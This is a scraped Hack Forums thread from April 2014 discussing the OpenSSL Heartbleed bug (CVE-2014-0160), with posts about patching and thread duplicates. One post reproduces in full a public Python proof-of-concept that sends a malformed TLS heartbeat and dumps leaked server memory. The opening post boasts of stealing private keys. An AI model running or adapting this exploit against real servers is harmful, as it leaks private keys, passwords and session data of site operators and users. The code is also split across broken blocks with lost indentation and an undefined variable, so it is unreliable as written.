

Forum:[Hack Forums](#)

Thread: [OpenSSL Heartbleed Vuln \[SEVERE\]](#)

xhflhkeuhwguu34 - April 7, 2014, 2:36 pm

Update yo OpenSSL, because I can grab all ur private keys.

<http://heartbleed.com>

Computer Forensics - April 8, 2014, 7:41 pm

I was just reading this -As reported all over the web by now, there was a critical flaw in OpenSSL. This flaw affects all of us, as it hits the authentication methods of about 2/3 of the web servers out there. The vulnerability has been dubbed "heartbleed" bug. The name refers to the heartbeat extension by which it is caused. The heartbeat extension usually serves to keep a connection alive, but due to the bug it now allows others to recover data sent over SSL/TLS. This compromises the keys used to identify you to the server and allows to read the encrypted traffic you sent: name and passwords, most notably.

For more information visit: www.heartbleed.com Research

<http://www.bleepingcomputer.com/forums/t/530414/critical-flaw-in-openssl/>

Aura - April 8, 2014, 7:51 pm

We already have a thread on the subject with the same links. God can't wait to post my feedback thread ...

xhflhkeuhwguu34 - April 8, 2014, 8:05 pm

(Apr 8, 2014 07:51 PM) Aur? Wrote: [\[CITE\]](#) We already have a thread on the subject with the same links. God can't wait to post my feedback thread ...

Note how mine is older... His is a duplicate. ?

Null Byte - April 8, 2014, 8:12 pm

Cryptic's VPN is vulnerable, sucks for me.

?

Code `#!/usr/bin/python`

Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford (jspenguin@jspenguin.org)
The author disclaims copyright to this source code.

```
import sys
import struct
import socket
import time
import select
import re
from optparse import OptionParser

options = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)')
options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)')
```

```
def h2bin(x):
    return x.replace(' ', '').replace('\n', '').decode('hex')
```

```
hello = h2bin("""
16 03 02 00 dc 01 00 00 d8 03 02 53
43 5b 90 9d 9b 72 0b bc 0c bc 2b 92 a8 48 97 cf
bd 39 04 cc 16 0a 85 03 90 9f 77 04 33 d4 de 00
00 66 c0 14 c0 0a c0 22 c0 21 00 39 00 38 00 88
00 87 c0 0f c0 05 00 35 00 84 c0 12 c0 08 c0 1c
c0 1b 00 16 00 13 c0 0d c0 03 00 0a c0 13 c0 09
c0 1f c0 1e 00 33 00 32 00 9a 00 99 00 45 00 44
c0 0e c0 04 00 2f 00 96 00 41 c0 11 c0 07 c0 0c
c0 02 00 05 00 04 00 15 00 12 00 09 00 14 00 11
00 08 00 06 00 03 00 ff 01 00 00 49 00 0b 00 04
03 00 01 02 00 0a 00 34 00 32 00 0e 00 0d 00 19
00 0b 00 0c 00 18 00 09 00 0a 00 16 00 17 00 08
00 06 00 07 00 14 00 15 00 04 00 05 00 12 00 13
00 01 00 02 00 03 00 0f 00 10 00 11 00 23 00 00
00 0f 00 01 01
""")
```

```
hb = h2bin("""
18 03 02 00 03
01 40 00
""")
```

```
def hexdump(s):
    for b in xrange(0, len(s), 16):
        lin = [c for c in s[b : b + 16]]
        hxdat = ''.join('%02X' % ord(c) for c in lin)
        pdat = ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin)
        print ' %04x: %-48s %s' % (b, hxdat, pdat)
    print
```

```
def recvall(s, length, timeout=5):
    endtime = time.time() + timeout
    rdata = ""
    remain = length
    while remain > 0:
        rtime = endtime - time.time()
        if rtime < 0:
            return None
        r, w, e = select.select([s], [], [], 5)
        if s in r:
            data = s.recv(remain)
            # EOF?
            if not data:
                return None
            rdata += data
            remain -= len(data)
    return rdata
```

```
def recvmsg(s):
```

```

hdr = recvall(s, 5)
if hdr is None:
    print 'Unexpected EOF receiving record header - server closed connection'
    return None, None, None
typ, ver, ln = struct.unpack('>BHH', hdr)
pay = recvall(s, ln, 10)
if pay is None:
    print 'Unexpected EOF receiving record payload - server closed connection'
    return None, None, None
print ' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay))
return typ, ver, pay

def hit_hb(s):
    s.send(hb)
    while True:
        typ, ver, pay = recvmsg(s)
        if typ is None:
            print 'No heartbeat response received, server likely not vulnerable'
            return False

        if typ == 24:
            print 'Received heartbeat response:'
            hexdump(pay)
            if len(pay) > 3:
                print 'WARNING: server returned more data than it should - server is vulnerable!'
            else:
                print 'Server processed malformed heartbeat, but did not return any extra data.'
            return True

        if typ == 21:
            print 'Received alert:'
            hexdump(pay)
            print 'Server returned error, likely not vulnerable'
            return False

def main():
    opts, args = options.parse_args()
    if len(args) < 1:
        options.print_help()
        return

    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    print 'Connecting...'
    sys.stdout.flush()
    s.connect((args[0], opts.port))
    print 'Sending Client Hello...'
    sys.stdout.flush()
    s.send(hello)
    print 'Waiting for Server Hello...'
    sys.stdout.flush()
    while True:
        typ, ver, pay = recvmsg(s)
        if typ == None:

```

```
print 'Server closed connection without sending Server Hello.'
return
# Look for server hello done message.
if typ == 22 and ord(payload[0]) == 0x0E:
    break

print 'Sending heartbeat request...'
sys.stdout.flush()
s.send(hb)
hit_hb(s)

if __name__ == '__main__':
    main()
```

Aura - April 8, 2014, 8:18 pm

He's going to fix it soon Null, I can guarantee you it.

Daxe - April 10, 2014, 2:43 pm

(Apr 7, 2014 02:36 PM)Xen0n Wrote: [\[CITE\]](#) Update yo OpenSSL

I'm feeling stupid right now, but normal people don't have OpenSSL downloaded and it is the websites job to update?

xhflhkeuhwguu34 - April 10, 2014, 2:57 pm

(Apr 10, 2014 02:43 PM)Daxe Wrote: [\[CITE\]](#) I'm feeling stupid right now, but normal people don't have OpenSSL downloaded and it is the websites job to update?

Yes, that would be correct. You don't serve the heartbeat

xVulnerable - April 11, 2014, 9:11 pm

YTCracker was demonstrating this on stream. It's severe.

Aura - April 11, 2014, 9:12 pm

(Apr 11, 2014 09:11 PM)xVuln Wrote: [\[CITE\]](#) YTCracker was demonstrating this on stream. It's severe.

The fix have been released, now the people using OpenSSL for their websites, servers, etc. Have to deploy it in order to patch that exploit.

xhflhkeuhwguu34 - April 11, 2014, 9:46 pm

u guys need 2 stop buping this

kk?